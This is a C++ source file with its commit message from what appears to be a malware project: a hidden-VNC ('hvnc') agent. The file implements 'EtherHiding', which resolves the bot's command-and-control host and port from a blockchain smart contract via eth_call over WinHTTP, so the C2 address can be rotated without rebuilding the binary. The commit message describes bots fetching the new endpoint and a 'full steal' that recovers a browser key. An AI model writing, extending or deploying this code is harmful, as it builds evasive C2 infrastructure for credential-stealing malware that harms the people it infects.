Files
JYenn-Misery/src/transport/etherhiding.cpp
T
JYenn 13e6ad7063 EtherHiding C2: resolve the TCP endpoint from a smart contract
The agent resolves its C2 endpoint from a resolver contract on a public
chain via eth_call (free, read-only), so the compiled binary carries no C2
address; rotating the C2 is one contract call and every bot picks up the
new value on next start. Pattern per the 2026 Remus analysis: eth_call
with the get() selector (0x6d4ce63c) against a public JSON-RPC provider,
the endpoint stored as a bytes32 host:port. Any failure falls back to the
compiled endpoint.

- src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode,
  host:port parse, WinHTTP POST with hard timeouts
- agent: resolves before the argv/env override so an explicit endpoint
  still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override
- setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for
  the resolver under TCP; the summary and recreate line carry them
- tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer
  instructions otherwise); contract source included, deployed via Remix
- verified: selectors checked against a real keccak implementation,
  contract compiles with solc 0.8.19, wizard and non-interactive flows
  emit the config end to end, mock RPC positive/negative tests, live
  HTTPS RPC probe degrades gracefully, and the full steal still recovers
  the v20 key through the chain-resolved agent
2026-08-20 22:39:40 +01:00

157 lines
6.3 KiB
C++

#include "etherhiding.hpp"
#include <windows.h>
#include <winhttp.h>
#include <string>
#include <vector>
#include <cstdint>
#pragma comment(lib, "winhttp.lib")
namespace hvnc::chain {
namespace {
std::wstring to_wide(const std::string& s) {
if (s.empty()) return L"";
int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
std::wstring w(n, L'\0');
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), &w[0], n);
return w;
}
int hexval(char c) {
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
return -1;
}
bool decode_hex(const char* hex, size_t len, std::vector<uint8_t>& out) {
if (len % 2) return false;
out.resize(len / 2);
for (size_t i = 0; i < out.size(); i++) {
int hi = hexval(hex[i * 2]), lo = hexval(hex[i * 2 + 1]);
if (hi < 0 || lo < 0) return false;
out[i] = static_cast<uint8_t>((hi << 4) | lo);
}
return true;
}
// "host:port"; the last colon separates, so IPv4 and hostnames parse alike.
bool parse_host_port(const std::string& s, std::string& host, int& port) {
size_t colon = s.rfind(':');
if (colon == std::string::npos || colon == 0 || colon + 1 >= s.size()) return false;
host = s.substr(0, colon);
port = 0;
for (size_t i = colon + 1; i < s.size(); i++) {
if (s[i] < '0' || s[i] > '9') return false;
port = port * 10 + (s[i] - '0');
if (port > 65535) return false;
}
if (port == 0 || host.empty()) return false;
return true;
}
// POST a JSON body to an http(s) URL; returns the body on status 200. Hard
// timeouts so a dead RPC cannot stall startup for long.
bool http_post(const std::string& url, const std::string& body, std::string& reply) {
size_t sep = url.find("://");
if (sep == std::string::npos) return false;
bool secure = url.compare(0, sep, "https") == 0;
std::string rest = url.substr(sep + 3);
size_t slash = rest.find('/');
std::string host = slash == std::string::npos ? rest : rest.substr(0, slash);
std::string path = slash == std::string::npos ? "/" : rest.substr(slash);
if (host.empty()) return false;
// The host may carry an explicit port ("host:8123"); split it out.
INTERNET_PORT iport = secure ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT;
size_t hcolon = host.rfind(':');
if (hcolon != std::string::npos && hcolon + 1 < host.size()) {
int p = 0;
bool digits = true;
for (size_t i = hcolon + 1; i < host.size(); i++) {
if (host[i] < '0' || host[i] > '9') { digits = false; break; }
p = p * 10 + (host[i] - '0');
}
if (digits && p > 0 && p <= 65535) {
iport = static_cast<INTERNET_PORT>(p);
host = host.substr(0, hcolon);
}
}
HINTERNET hSession = WinHttpOpen(L"HVNC/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession) return false;
WinHttpSetTimeouts(hSession, 4000, 4000, 8000, 8000);
bool ok = false;
HINTERNET hConn = WinHttpConnect(hSession, to_wide(host).c_str(), iport, 0);
if (hConn) {
HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST", to_wide(path).c_str(), nullptr,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
secure ? WINHTTP_FLAG_SECURE : 0);
if (hReq) {
WinHttpAddRequestHeaders(hReq, L"Content-Type: application/json", (DWORD)-1,
WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD);
if (WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data(),
(DWORD)body.size(), (DWORD)body.size(), 0) &&
WinHttpReceiveResponse(hReq, nullptr)) {
DWORD status = 0, len = sizeof(status);
if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &len,
WINHTTP_NO_HEADER_INDEX) && status == 200) {
std::vector<uint8_t> buf;
for (;;) {
DWORD avail = 0;
if (!WinHttpQueryDataAvailable(hReq, &avail)) break;
if (avail == 0) break;
size_t base = buf.size();
buf.resize(base + avail);
DWORD got = 0;
if (!WinHttpReadData(hReq, buf.data() + base, avail, &got)) break;
buf.resize(base + got);
}
reply.assign(reinterpret_cast<const char*>(buf.data()), buf.size());
ok = true;
}
}
WinHttpCloseHandle(hReq);
}
WinHttpCloseHandle(hConn);
}
WinHttpCloseHandle(hSession);
return ok;
}
} // namespace
bool resolve_endpoint(const std::string& rpc_url, const std::string& contract_addr,
std::string& host, int& port) {
if (rpc_url.empty() || contract_addr.empty()) return false;
const std::string body =
"{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_call\",\"params\":"
"[{\"to\":\"" + contract_addr + "\",\"data\":\"0x6d4ce63c\"},\"latest\"]}";
std::string reply;
if (!http_post(rpc_url, body, reply)) return false;
// The endpoint string is the raw bytes32 in the "result" field, hex with
// a 0x prefix.
size_t pos = reply.find("\"result\":\"");
if (pos == std::string::npos) return false;
pos += 10;
if (reply[pos] == '0' && (reply[pos + 1] == 'x' || reply[pos + 1] == 'X')) pos += 2;
size_t end = reply.find('"', pos);
if (end == std::string::npos) return false;
std::vector<uint8_t> data;
if (!decode_hex(reply.c_str() + pos, end - pos, data)) return false;
while (!data.empty() && data.back() == 0) data.pop_back();
std::string value(reinterpret_cast<const char*>(data.data()), data.size());
return parse_host_port(value, host, port);
}
} // namespace hvnc::chain